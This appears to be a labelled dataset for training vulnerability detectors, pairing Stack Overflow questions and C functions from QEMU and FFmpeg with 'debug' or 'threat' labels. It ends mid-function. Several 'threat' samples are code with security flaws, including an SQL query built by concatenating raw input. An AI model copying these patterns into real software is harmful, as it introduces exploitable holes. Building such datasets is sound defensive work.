problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
executing scan -t table returns no result despite tablet server showing 110K entries : I am facing an issue when trying to scan an accumulo table. Short environment abstract:
Localhost single cluster setup of all involved components:
- accumulo 1.8.0
- zookeeper 3.4
- hadoop 2.7.3
OS:
- Ubuntu 16.05, 64 bit
Java:
- 1.8.0_111-8u111-b14-2ubuntu0.16.04.2-b14
To the isssue.
First I created a user and then crete a table with that user as owner. I was able to insert data into the table using a Java client.
Later I wanted to check what I had inserted and for simplicity sake I chose the accumulo shell.
When I run the command scan -t <table>, it returns immediately, giving me no results. Now the funny thing is, that the tablet status window (localhost:9995) shows that the table in questions has approx 110K entries.[The tablet server status screenshot][1]
[1]: https://i.stack.imgur.com/Kd86k.png
Next I checked the size of the tablets in hdfs. The size implies to me that there is data:
`1062429 2016-12-15 23:19 /accumulo/tables/c/default_tablet/A000001t.rf`
Another table where I have the same issue has an even larger rf file (it has even more entries):
`12433646 2016-12-15 22:23 /accumulo/tables/a/default_tablet/A000000i.rf`
Next I turned on the debug mode in the shell:
`debug on`
Then I run the scan command again. The output:
`scan
2016-12-16 00:01:38,113 [rpc.ThriftUtil] TRACE: Opening normal transport
2016-12-16 00:01:38,114 [impl.ThriftTransportPool] TRACE: Creating new connection to connection to localhost:9997
2016-12-16 00:01:38,131 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 7130
2016-12-16 00:01:38,131 [admin.TableOperations] TRACE: tid=14 Checking if table tweets exists...
2016-12-16 00:01:38,132 [admin.TableOperations] TRACE: tid=14 Checked existance of true in 0.000 secs
2016-12-16 00:01:38,132 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,146 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 7130
2016-12-16 00:01:38,147 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,158 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 7130
2016-12-16 00:01:38,158 [admin.TableOperations] TRACE: tid=14 Checking if table tweets exists...
2016-12-16 00:01:38,159 [admin.TableOperations] TRACE: tid=14 Checked existance of true in 0.000 secs
2016-12-16 00:01:38,159 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,168 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 7130
2016-12-16 00:01:38,168 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,170 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 130
2016-12-16 00:01:38,170 [shell.Shell] DEBUG: Found no scan iterators to set
2016-12-16 00:01:38,177 [impl.TabletLocatorImpl] TRACE: tid=14 Locating tablet table=c row= skipRow=false retry=false
2016-12-16 00:01:38,178 [impl.TabletLocatorImpl] TRACE: tid=14 Located tablet c<< at localhost:9997 in 0.000 secs
2016-12-16 00:01:38,178 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,178 [impl.ThriftScanner] TRACE: tid=14 Starting scan tserver=localhost:9997 tablet=c<< range=(-inf,+inf) ssil=[] ssio={}
2016-12-16 00:01:38,374 [impl.ThriftScanner] TRACE: tid=14 Completely finished scan in 0.195 secs #results=0
2016-12-16 00:01:38,374 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 262
2016-12-16 00:01:38,374 [admin.TableOperations] TRACE: tid=14 Fetching list of tables...
2016-12-16 00:01:38,374 [admin.TableOperations] TRACE: tid=14 Fetched 6 table names in 0.000 secs
2016-12-16 00:01:38,374 [impl.ThriftTransportPool] TRACE: Using existing connection to localhost:9997
2016-12-16 00:01:38,375 [impl.ThriftTransportPool] TRACE: Returned connection localhost:9997 (120000) ioCount: 154
2016-12-16 00:01:38,375 [admin.TableOperations] TRACE: tid=14 Fetching list of namespaces...
2016-12-16 00:01:38,375 [admin.TableOperations] TRACE: tid=14 Fetched 2 namespaces in 0.000 secs`
To me the output looks good as to say the scan command finds the table and the tablet belonging to that table. But no result is shown.
Any insight on what I am doing wrong or missing would be appreciated.
| 0debug
|
bool virtio_scsi_handle_cmd_vq(VirtIOSCSI *s, VirtQueue *vq)
{
VirtIOSCSIReq *req, *next;
int ret = 0;
bool progress = false;
QTAILQ_HEAD(, VirtIOSCSIReq) reqs = QTAILQ_HEAD_INITIALIZER(reqs);
virtio_scsi_acquire(s);
do {
virtio_queue_set_notification(vq, 0);
while ((req = virtio_scsi_pop_req(s, vq))) {
progress = true;
ret = virtio_scsi_handle_cmd_req_prepare(s, req);
if (!ret) {
QTAILQ_INSERT_TAIL(&reqs, req, next);
} else if (ret == -EINVAL) {
while (!QTAILQ_EMPTY(&reqs)) {
req = QTAILQ_FIRST(&reqs);
QTAILQ_REMOVE(&reqs, req, next);
blk_io_unplug(req->sreq->dev->conf.blk);
scsi_req_unref(req->sreq);
virtqueue_detach_element(req->vq, &req->elem, 0);
virtio_scsi_free_req(req);
}
}
}
virtio_queue_set_notification(vq, 1);
} while (ret != -EINVAL && !virtio_queue_empty(vq));
QTAILQ_FOREACH_SAFE(req, &reqs, next, next) {
virtio_scsi_handle_cmd_req_submit(s, req);
}
virtio_scsi_release(s);
return progress;
}
| 1threat
|
static void thread_pool_cancel(BlockDriverAIOCB *acb)
{
ThreadPoolElement *elem = (ThreadPoolElement *)acb;
ThreadPool *pool = elem->pool;
trace_thread_pool_cancel(elem, elem->common.opaque);
qemu_mutex_lock(&pool->lock);
if (elem->state == THREAD_QUEUED &&
qemu_sem_timedwait(&pool->sem, 0) == 0) {
QTAILQ_REMOVE(&pool->request_list, elem, reqs);
elem->state = THREAD_CANCELED;
event_notifier_set(&pool->notifier);
} else {
pool->pending_cancellations++;
while (elem->state != THREAD_CANCELED && elem->state != THREAD_DONE) {
qemu_cond_wait(&pool->check_cancel, &pool->lock);
}
pool->pending_cancellations--;
}
qemu_mutex_unlock(&pool->lock);
event_notifier_ready(&pool->notifier);
}
| 1threat
|
how to get the post title in wordpress : I am working in wordpress, and I need to show post title and its description in a loop.
I don't know how to get the post's title and its description.
My current html code is below:
<div class="col-md-4 col-sm-6">
<div class="single-service-home">
<div class="icon-box">
<div class="inner-box">
<i class="flaticon-gesture-1"></i>
</div>
</div>
<div class="content">
<h3>Charity For Education</h3>
<p>There are many variations of lorem <br>passagei of Lorem Ipsum available <br> but the majority have </p>
<a href="service-details.html">Read More</a>
</div>
</div>
</div>
In the above code inside h3 tag I need to show the title and in p tag I need to show the description.
Also in readmore I need to give that post's detail page link.
Any help is greatly appreciated. Thanks in advance.
| 0debug
|
int qcow2_grow_l1_table(BlockDriverState *bs, uint64_t min_size,
bool exact_size)
{
BDRVQcowState *s = bs->opaque;
int new_l1_size2, ret, i;
uint64_t *new_l1_table;
int64_t old_l1_table_offset, old_l1_size;
int64_t new_l1_table_offset, new_l1_size;
uint8_t data[12];
if (min_size <= s->l1_size)
return 0;
if (exact_size) {
new_l1_size = min_size;
} else {
new_l1_size = s->l1_size;
if (new_l1_size == 0) {
new_l1_size = 1;
while (min_size > new_l1_size) {
new_l1_size = (new_l1_size * 3 + 1) / 2;
if (new_l1_size > INT_MAX / sizeof(uint64_t)) {
#ifdef DEBUG_ALLOC2
fprintf(stderr, "grow l1_table from %d to %" PRId64 "\n",
s->l1_size, new_l1_size);
#endif
new_l1_size2 = sizeof(uint64_t) * new_l1_size;
new_l1_table = g_malloc0(align_offset(new_l1_size2, 512));
memcpy(new_l1_table, s->l1_table, s->l1_size * sizeof(uint64_t));
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_ALLOC_TABLE);
new_l1_table_offset = qcow2_alloc_clusters(bs, new_l1_size2);
if (new_l1_table_offset < 0) {
g_free(new_l1_table);
return new_l1_table_offset;
ret = qcow2_cache_flush(bs, s->refcount_block_cache);
if (ret < 0) {
goto fail;
ret = qcow2_pre_write_overlap_check(bs, 0, new_l1_table_offset,
new_l1_size2);
if (ret < 0) {
goto fail;
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_WRITE_TABLE);
for(i = 0; i < s->l1_size; i++)
new_l1_table[i] = cpu_to_be64(new_l1_table[i]);
ret = bdrv_pwrite_sync(bs->file, new_l1_table_offset, new_l1_table, new_l1_size2);
if (ret < 0)
goto fail;
for(i = 0; i < s->l1_size; i++)
new_l1_table[i] = be64_to_cpu(new_l1_table[i]);
BLKDBG_EVENT(bs->file, BLKDBG_L1_GROW_ACTIVATE_TABLE);
cpu_to_be32w((uint32_t*)data, new_l1_size);
stq_be_p(data + 4, new_l1_table_offset);
ret = bdrv_pwrite_sync(bs->file, offsetof(QCowHeader, l1_size), data,sizeof(data));
if (ret < 0) {
goto fail;
g_free(s->l1_table);
old_l1_table_offset = s->l1_table_offset;
s->l1_table_offset = new_l1_table_offset;
s->l1_table = new_l1_table;
old_l1_size = s->l1_size;
s->l1_size = new_l1_size;
qcow2_free_clusters(bs, old_l1_table_offset, old_l1_size * sizeof(uint64_t),
QCOW2_DISCARD_OTHER);
return 0;
fail:
g_free(new_l1_table);
qcow2_free_clusters(bs, new_l1_table_offset, new_l1_size2,
QCOW2_DISCARD_OTHER);
return ret;
| 1threat
|
Rating button filter : <p><a href="https://i.stack.imgur.com/2edTD.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2edTD.jpg" alt="enter image description here"></a></p>
<p>I'm trying to filtering my list from bad to excellent like trivago system</p>
<p><a href="https://www.trivago.com.tr/?cpt=3481203&iRoomType=7&iPathId=34812&aDateRange%5Barr%5D=2017-05-14&aDateRange%5Bdep%5D=2017-05-15&iGeoDistanceItem=0&iViewType=0&bIsSeoPage=false&bIsSitemap=false&" rel="nofollow noreferrer">if you are going to click this link</a>
you will understand what I'm talking about and I show section on image what I want to do.</p>
<p>When you click button you see styling is removing or adding again and showing hotel list I really didn't understand how to do that ? is there any example</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>* {
outline: none;
}
button {
cursor: pointer;
background: transparent;
border: none;
padding: 10px;
}
#wrap {
width: 960px;
}
#wrap:before,
#wrap:after {
content: "";
display: table;
clear: both;
}
#filter {
width: 40%;
float: left;
}
#content {
float: right;
width: 59%;
margin-left: 1%;
font-size: 12px;
font-family: sans-serif;
}
.filter-list {
border: 1px solid #ccc;
margin-bottom: 5px;
padding: 10px;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><main id="wrap">
<div id="filter">
<button class="bad" data-id="1" style="background:#cc0033;color:#fff" name="rating">bad</button>
<button class="normal" data-id="2" style="background:orange;color:#fff" name="rating">normal</button>
<button class="good" data-id="3" style="background:#99cc00;color:#fff" name="rating">good</button>
<button class="verygood" data-id="4" style="background:green;color:#fff" name="rating">very good</button>
<button class="excellent" data-id="5" style="background:darkgreen;color:#fff" name="rating">excellent</button>
</div>
<!-- filter-->
<div id="content">
<div class="filter-list">
I'm a very good
</div>
<div class="filter-list">
this is the bad list
</div>
<div class="filter-list">
I'm a very good to
</div>
<div class="filter-list">
Excellent!
</div>
<div class="filter-list">
Iııh normal!
</div>
<div class="filter-list">
Good - enough thanks
</div>
<div class="filter-list">
Bad - don't ever..
</div>
<div class="filter-list">
Excellent again
</div>
<div class="filter-list">
isn't bad ? I think yes bad..
</div>
</div>
</main>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script></code></pre>
</div>
</div>
</p>
| 0debug
|
Android setMessage : I have a message with options build like this:
builder.setMessage(msg).setNeutralButton("Dismiss",dialogClickListener).setPositiveButton("Edit", dialogClickListener)
.setNegativeButton("Delete", dialogClickListener).show();
Is it possible to display dismiss in blue color rather than red?
| 0debug
|
How to run this c++ project in windows 10? : <p>Iam trying to run one c++ project form github to run on my windows 10. Please help me which IDE should i use to run and how to run?</p>
<p>Presently am using Atom but am not able to download gpp-compiler for atom</p>
<p>I have tried to add gpp-compiler to Atom and then run from Atom , but its not getting downloaded to Atom. Iam looking for new IDE suggestions to run it better</p>
<p>this is the github link <code>https://github.com/usnistgov/NFIQ2</code></p>
<p>SO am basically looking for an IDE where i can run and see the output</p>
| 0debug
|
How to completely uninstall Homebrew Apache httpd24? : <p>On macOS Sierra, I installed Apache using Homebrew:</p>
<p><code>$ brew install httpd24</code></p>
<p>This has caused some weird Apache issues. It seems that the default installation of Apache on macOS Sierra was still active in some way. I now want to completely uninstall httpd24 but am still seeing it in my processes. Here's what I did:</p>
<p><code>$ brew unlink httpd24</code>
<code>$ brew uninstall httpd24</code>
<code>$ rm -rf /usr/local/etc/apache2/</code></p>
<p>Running <code>$ ps aux|grep httpd</code> reveals:</p>
<pre><code>blt 51473 0.0 0.0 2613988 844 ?? S 10:48PM 0:00.00 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 51447 0.0 0.0 2613988 892 ?? S 10:47PM 0:00.00 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 51396 0.0 0.0 2613988 856 ?? S 10:47PM 0:00.00 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 51345 0.0 0.0 2613988 844 ?? S 10:47PM 0:00.00 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 51285 0.0 0.0 2613988 876 ?? S 10:45PM 0:00.00 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 51048 0.0 0.0 2615200 868 ?? S 10:34PM 0:00.00 /usr/sbin/httpd -T
blt 51047 0.0 0.0 2615200 840 ?? S 10:34PM 0:00.00 /usr/sbin/httpd -T
blt 51046 0.0 0.1 2628716 20104 ?? S 10:34PM 0:00.06 /usr/sbin/httpd -T
blt 51045 0.0 0.1 2628716 20084 ?? S 10:34PM 0:00.05 /usr/sbin/httpd -T
blt 51044 0.0 0.1 2628716 20148 ?? S 10:34PM 0:00.04 /usr/sbin/httpd -T
blt 51043 0.0 0.1 2628716 20236 ?? S 10:34PM 0:00.05 /usr/sbin/httpd -T
blt 51041 0.0 0.1 2628716 20668 ?? S 10:34PM 0:00.07 /usr/sbin/httpd -T
blt 51040 0.0 0.4 2644668 59852 ?? S 10:34PM 0:01.05 /usr/sbin/httpd -T
root 47136 0.0 0.1 2615456 18872 ?? Ss 5:34PM 0:00.67 /usr/sbin/httpd -T
root 43442 0.0 0.0 2614244 7172 ?? Ss 4:14PM 0:00.83 /usr/local/Cellar/httpd24/2.4.23_2/bin/httpd -k start
blt 52451 0.0 0.0 2423384 256 s003 R+ 11:06PM 0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn httpd
</code></pre>
<p>The processes with the path <code>/usr/sbin/httpd</code> are the default Apache installation. The ones with the path <code>/usr/local/Cellar/httpd24/2.4.23_2/bin/httpd</code> is the Homebrew installation. This shouldn't even be possible. The directory <code>/usr/local/Cellar/httpd24</code> <em>doesn't even exist</em>. I have tried manually killing those processes but they eventually come back. I have tried restarting my computer. I have restarted Apache countless times. I have confirmed that the Apache I am interacting with on the command line using <code>$ apachectl</code> is the default installation. I don't know what else to do. Thank you for any help.</p>
| 0debug
|
I am getting an error in using Selenium in python : <p>I tried using selenium for building a program but it just does not support web driver. I am getting the following error.</p>
<pre><code>Traceback (most recent call last):
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\common\service.py", line 74, in start
stdout=self.log_file, stderr=self.log_file)
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\lib\subprocess.py", line 707, in __init__
restore_signals, start_new_session)
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\lib\subprocess.py", line 990, in _execute_child
startupinfo)
FileNotFoundError: [WinError 2] The system cannot find the file specified
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\records\sel.py", line 2, in <module>
browser = webdriver.Chrome()
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\chrome\webdriver.py", line 62, in __init__
self.service.start()
File "C:\Users\my dell\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\common\service.py", line 81, in start
os.path.basename(self.path), self.start_error_message)
selenium.common.exceptions.WebDriverException: Message: 'chromedriver' executable needs to be in PATH. Please see https://sites.google.com/a/chromium.org/chromedriver/home
</code></pre>
<p>Help would be appreciated.</p>
| 0debug
|
connection.query('SELECT * FROM users WHERE username = ' + input_string)
| 1threat
|
Text editor which can convert speech to text and vice-versa : <p>I am thinking of implementing a text editor for my academic project which can convert speech to text and also speak the written text.</p>
<p>Is it possible to code it in Python? Or is it possible at all? If possible, how?</p>
<p>Any help is appreciated.</p>
| 0debug
|
How to run java jars on nginx server locally? : <p>I pretty new to Nginx and I want to run some java jars on Nginx server in my local machine. How can I achieve this?</p>
<p>I have downloaded nginx for windows from <a href="http://nginx.org/en/download.html" rel="nofollow noreferrer">http://nginx.org/en/download.html</a>
My Nginx version : 1.16.1
My java jars are in the folder - E:\myapp
How do I point my java jars location in my Nginx server config?</p>
<p>My Nginx Server config is as below (nginx.conf)</p>
<pre><code>#user nobody;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
server {
listen 3000;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
alias E:\myapp
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
</code></pre>
| 0debug
|
Why does all() return True for an empty iterable? : <p>My understanding of <code>all()</code> is that it returns <code>True</code> if every value if an iterable is <code>True</code> when evaluated as a boolean.</p>
<p><code>bool([]) == False</code>, so why does <code>all([])</code> return <code>True</code>?</p>
| 0debug
|
static void init_timetables( FM_OPL *OPL , int ARRATE , int DRRATE )
{
int i;
double rate;
for (i = 0;i < 4;i++) OPL->AR_TABLE[i] = OPL->DR_TABLE[i] = 0;
for (i = 4;i <= 60;i++){
rate = OPL->freqbase;
if( i < 60 ) rate *= 1.0+(i&3)*0.25;
rate *= 1<<((i>>2)-1);
rate *= (double)(EG_ENT<<ENV_BITS);
OPL->AR_TABLE[i] = rate / ARRATE;
OPL->DR_TABLE[i] = rate / DRRATE;
}
for (i = 60; i < ARRAY_SIZE(OPL->AR_TABLE); i++)
{
OPL->AR_TABLE[i] = EG_AED-1;
OPL->DR_TABLE[i] = OPL->DR_TABLE[60];
}
#if 0
for (i = 0;i < 64 ;i++){
LOG(LOG_WAR,("rate %2d , ar %f ms , dr %f ms \n",i,
((double)(EG_ENT<<ENV_BITS) / OPL->AR_TABLE[i]) * (1000.0 / OPL->rate),
((double)(EG_ENT<<ENV_BITS) / OPL->DR_TABLE[i]) * (1000.0 / OPL->rate) ));
}
#endif
}
| 1threat
|
C# : Loop without IF or SWITCH condition within it : I want to print the number like as shown below using the `loop` and without using `if` or `switch` condition.
1
2
3
4
5
5
5
6
6
7
8
9
9
10
**Note**: When loop comes to number 5 it has to iterate 3 times and when it comes to 6 and 9 it has to iterate 2 times.
**Example**:
I have the following code which prints numbers same as they meet the condition.
#My Try:
using System;
public class Program
{
public static void Main()
{
Console.WriteLine("Print Numbers 1 To 10");
for (int i = 1; i <= 10; i++)
{
Console.WriteLine( i==5 || i == 6 || i == 9 ? i.ToString() + Environment.NewLine + i.ToString() : i.ToString());
}
Console.ReadLine();
}
}
| 0debug
|
How to split array into three arrays by index? : <p>I have an array of 9 elements(maybe more).
I need to split by indexes into three arrays.</p>
<pre><code>const array = [{id: 0}, {id: 1}, ..., {id: 8}];
</code></pre>
<p>I want to recieve 3 array like that:</p>
<pre><code>const array0 = [{id: 0}, {id: 3}, {id: 6}];
const array1 = [{id: 1}, {id: 4}, {id: 7}];
const array2 = [{id: 2}, {id: 5}, {id: 8}];
</code></pre>
| 0debug
|
static int svq1_motion_inter_4v_block(MpegEncContext *s, GetBitContext *bitbuf,
uint8_t *current, uint8_t *previous,
int pitch, svq1_pmv *motion, int x, int y)
{
uint8_t *src;
uint8_t *dst;
svq1_pmv mv;
svq1_pmv *pmv[4];
int i, result;
pmv[0] = &motion[0];
if (y == 0) {
pmv[1] =
pmv[2] = pmv[0];
} else {
pmv[1] = &motion[(x / 8) + 2];
pmv[2] = &motion[(x / 8) + 4];
}
result = svq1_decode_motion_vector(bitbuf, &mv, pmv);
if (result != 0)
return result;
pmv[0] = &mv;
if (y == 0) {
pmv[1] =
pmv[2] = pmv[0];
} else {
pmv[1] = &motion[(x / 8) + 3];
}
result = svq1_decode_motion_vector(bitbuf, &motion[0], pmv);
if (result != 0)
return result;
pmv[1] = &motion[0];
pmv[2] = &motion[(x / 8) + 1];
result = svq1_decode_motion_vector(bitbuf, &motion[(x / 8) + 2], pmv);
if (result != 0)
return result;
pmv[2] = &motion[(x / 8) + 2];
pmv[3] = &motion[(x / 8) + 3];
result = svq1_decode_motion_vector(bitbuf, pmv[3], pmv);
if (result != 0)
return result;
for (i = 0; i < 4; i++) {
int mvx = pmv[i]->x + (i & 1) * 16;
int mvy = pmv[i]->y + (i >> 1) * 16;
if (y + (mvy >> 1) < 0)
mvy = 0;
if (x + (mvx >> 1) < 0)
mvx = 0;
src = &previous[(x + (mvx >> 1)) + (y + (mvy >> 1)) * pitch];
dst = current;
s->dsp.put_pixels_tab[1][((mvy & 1) << 1) | (mvx & 1)](dst, src, pitch, 8);
if (i & 1)
current += 8 * (pitch - 1);
else
current += 8;
}
return 0;
}
| 1threat
|
int vmstate_save_state(QEMUFile *f, const VMStateDescription *vmsd,
void *opaque, QJSON *vmdesc)
{
int ret = 0;
VMStateField *field = vmsd->fields;
trace_vmstate_save_state_top(vmsd->name);
if (vmsd->pre_save) {
ret = vmsd->pre_save(opaque);
trace_vmstate_save_state_pre_save_res(vmsd->name, ret);
if (ret) {
error_report("pre-save failed: %s", vmsd->name);
return ret;
}
}
if (vmdesc) {
json_prop_str(vmdesc, "vmsd_name", vmsd->name);
json_prop_int(vmdesc, "version", vmsd->version_id);
json_start_array(vmdesc, "fields");
}
while (field->name) {
if (!field->field_exists ||
field->field_exists(opaque, vmsd->version_id)) {
void *first_elem = opaque + field->offset;
int i, n_elems = vmstate_n_elems(opaque, field);
int size = vmstate_size(opaque, field);
int64_t old_offset, written_bytes;
QJSON *vmdesc_loop = vmdesc;
trace_vmstate_save_state_loop(vmsd->name, field->name, n_elems);
if (field->flags & VMS_POINTER) {
first_elem = *(void **)first_elem;
assert(first_elem || !n_elems || !size);
}
for (i = 0; i < n_elems; i++) {
void *curr_elem = first_elem + size * i;
vmsd_desc_field_start(vmsd, vmdesc_loop, field, i, n_elems);
old_offset = qemu_ftell_fast(f);
if (field->flags & VMS_ARRAY_OF_POINTER) {
assert(curr_elem);
curr_elem = *(void **)curr_elem;
}
if (!curr_elem && size) {
assert(field->flags & VMS_ARRAY_OF_POINTER);
vmstate_info_nullptr.put(f, curr_elem, size, NULL, NULL);
} else if (field->flags & VMS_STRUCT) {
vmstate_save_state(f, field->vmsd, curr_elem, vmdesc_loop);
} else {
field->info->put(f, curr_elem, size, field, vmdesc_loop);
}
written_bytes = qemu_ftell_fast(f) - old_offset;
vmsd_desc_field_end(vmsd, vmdesc_loop, field, written_bytes, i);
if (vmdesc_loop && vmsd_can_compress(field)) {
vmdesc_loop = NULL;
}
}
} else {
if (field->flags & VMS_MUST_EXIST) {
error_report("Output state validation failed: %s/%s",
vmsd->name, field->name);
assert(!(field->flags & VMS_MUST_EXIST));
}
}
field++;
}
if (vmdesc) {
json_end_array(vmdesc);
}
vmstate_subsection_save(f, vmsd, opaque, vmdesc);
return 0;
}
| 1threat
|
static void nal_send(AVFormatContext *s1, const uint8_t *buf, int size, int last)
{
RTPMuxContext *s = s1->priv_data;
av_log(s1, AV_LOG_DEBUG, "Sending NAL %x of len %d M=%d\n", buf[0] & 0x1F, size, last);
if (size <= s->max_payload_size) {
int buffered_size = s->buf_ptr - s->buf;
if (buffered_size + 2 + size > s->max_payload_size) {
flush_buffered(s1, 0);
buffered_size = 0;
}
if (buffered_size + 3 + size <= s->max_payload_size &&
!(s->flags & FF_RTP_FLAG_H264_MODE0)) {
if (buffered_size == 0)
*s->buf_ptr++ = 24;
AV_WB16(s->buf_ptr, size);
s->buf_ptr += 2;
memcpy(s->buf_ptr, buf, size);
s->buf_ptr += size;
s->buffered_nals++;
} else {
flush_buffered(s1, 0);
ff_rtp_send_data(s1, buf, size, last);
}
} else {
uint8_t type = buf[0] & 0x1F;
uint8_t nri = buf[0] & 0x60;
flush_buffered(s1, 0);
if (s->flags & FF_RTP_FLAG_H264_MODE0) {
av_log(s1, AV_LOG_ERROR,
"NAL size %d > %d, try -slice-max-size %d\n", size,
s->max_payload_size, s->max_payload_size);
return;
}
av_log(s1, AV_LOG_DEBUG, "NAL size %d > %d\n", size, s->max_payload_size);
s->buf[0] = 28;
s->buf[0] |= nri;
s->buf[1] = type;
s->buf[1] |= 1 << 7;
buf += 1;
size -= 1;
while (size + 2 > s->max_payload_size) {
memcpy(&s->buf[2], buf, s->max_payload_size - 2);
ff_rtp_send_data(s1, s->buf, s->max_payload_size, 0);
buf += s->max_payload_size - 2;
size -= s->max_payload_size - 2;
s->buf[1] &= ~(1 << 7);
}
s->buf[1] |= 1 << 6;
memcpy(&s->buf[2], buf, size);
ff_rtp_send_data(s1, s->buf, size + 2, last);
}
}
| 1threat
|
RegEx Groovy for assertion : <p>Can someone help for regular expression for the following (only alphanumeric upper and lower case with - after 12 characters) i need to use in in my groovy assertion.</p>
<pre><code>7AYNEHFjEee4-AJiXJP2jg
</code></pre>
| 0debug
|
static int decode_rle(GetBitContext *gb, uint8_t *pal_dst, int pal_stride,
uint8_t *rgb_dst, int rgb_stride, uint32_t *pal,
int keyframe, int kf_slipt, int slice, int w, int h)
{
uint8_t bits[270] = { 0 };
uint32_t codes[270];
VLC vlc;
int current_length = 0, read_codes = 0, next_code = 0, current_codes = 0;
int remaining_codes, surplus_codes, i;
const int alphabet_size = 270 - keyframe;
int last_symbol = 0, repeat = 0, prev_avail = 0;
if (!keyframe) {
int x, y, clipw, cliph;
x = get_bits(gb, 12);
y = get_bits(gb, 12);
clipw = get_bits(gb, 12) + 1;
cliph = get_bits(gb, 12) + 1;
if (x + clipw > w || y + cliph > h)
return AVERROR_INVALIDDATA;
pal_dst += pal_stride * y + x;
rgb_dst += rgb_stride * y + x * 3;
w = clipw;
h = cliph;
if (y)
prev_avail = 1;
} else {
if (slice > 0) {
pal_dst += pal_stride * kf_slipt;
rgb_dst += rgb_stride * kf_slipt;
prev_avail = 1;
h -= kf_slipt;
} else
h = kf_slipt;
}
do {
while (current_codes--) {
int symbol = get_bits(gb, 8);
if (symbol >= 204 - keyframe)
symbol += 14 - keyframe;
else if (symbol > 189)
symbol = get_bits1(gb) + (symbol << 1) - 190;
if (bits[symbol])
return AVERROR_INVALIDDATA;
bits[symbol] = current_length;
codes[symbol] = next_code++;
read_codes++;
}
current_length++;
next_code <<= 1;
remaining_codes = (1 << current_length) - next_code;
current_codes = get_bits(gb, av_ceil_log2(remaining_codes + 1));
if (current_length > 22 || current_codes > remaining_codes)
return AVERROR_INVALIDDATA;
} while (current_codes != remaining_codes);
remaining_codes = alphabet_size - read_codes;
while ((surplus_codes = (2 << current_length) -
(next_code << 1) - remaining_codes) < 0) {
current_length++;
next_code <<= 1;
}
for (i = 0; i < alphabet_size; i++)
if (!bits[i]) {
if (surplus_codes-- == 0) {
current_length++;
next_code <<= 1;
}
bits[i] = current_length;
codes[i] = next_code++;
}
if (next_code != 1 << current_length)
return AVERROR_INVALIDDATA;
if (i = init_vlc(&vlc, 9, alphabet_size, bits, 1, 1, codes, 4, 4, 0))
return i;
do {
uint8_t *pp = pal_dst;
uint8_t *rp = rgb_dst;
do {
if (repeat-- < 1) {
int b = get_vlc2(gb, vlc.table, 9, 3);
if (b < 256)
last_symbol = b;
else if (b < 268) {
b -= 256;
if (b == 11)
b = get_bits(gb, 4) + 10;
if (!b)
repeat = 0;
else
repeat = get_bits(gb, b);
repeat += (1 << b) - 1;
if (last_symbol == -2) {
int skip = FFMIN(repeat, pal_dst + w - pp);
repeat -= skip;
pp += skip;
rp += skip * 3;
}
} else
last_symbol = 267 - b;
}
if (last_symbol >= 0) {
*pp = last_symbol;
AV_WB24(rp, pal[last_symbol]);
} else if (last_symbol == -1 && prev_avail) {
*pp = *(pp - pal_stride);
memcpy(rp, rp - rgb_stride, 3);
}
rp += 3;
} while (++pp < pal_dst + w);
pal_dst += pal_stride;
rgb_dst += rgb_stride;
prev_avail = 1;
} while (--h);
ff_free_vlc(&vlc);
return 0;
}
| 1threat
|
static int process_output_surface(AVCodecContext *avctx, AVPacket *pkt, NvencSurface *tmpoutsurf)
{
NvencContext *ctx = avctx->priv_data;
NvencDynLoadFunctions *dl_fn = &ctx->nvenc_dload_funcs;
NV_ENCODE_API_FUNCTION_LIST *p_nvenc = &dl_fn->nvenc_funcs;
uint32_t slice_mode_data;
uint32_t *slice_offsets;
NV_ENC_LOCK_BITSTREAM lock_params = { 0 };
NVENCSTATUS nv_status;
int res = 0;
enum AVPictureType pict_type;
switch (avctx->codec->id) {
case AV_CODEC_ID_H264:
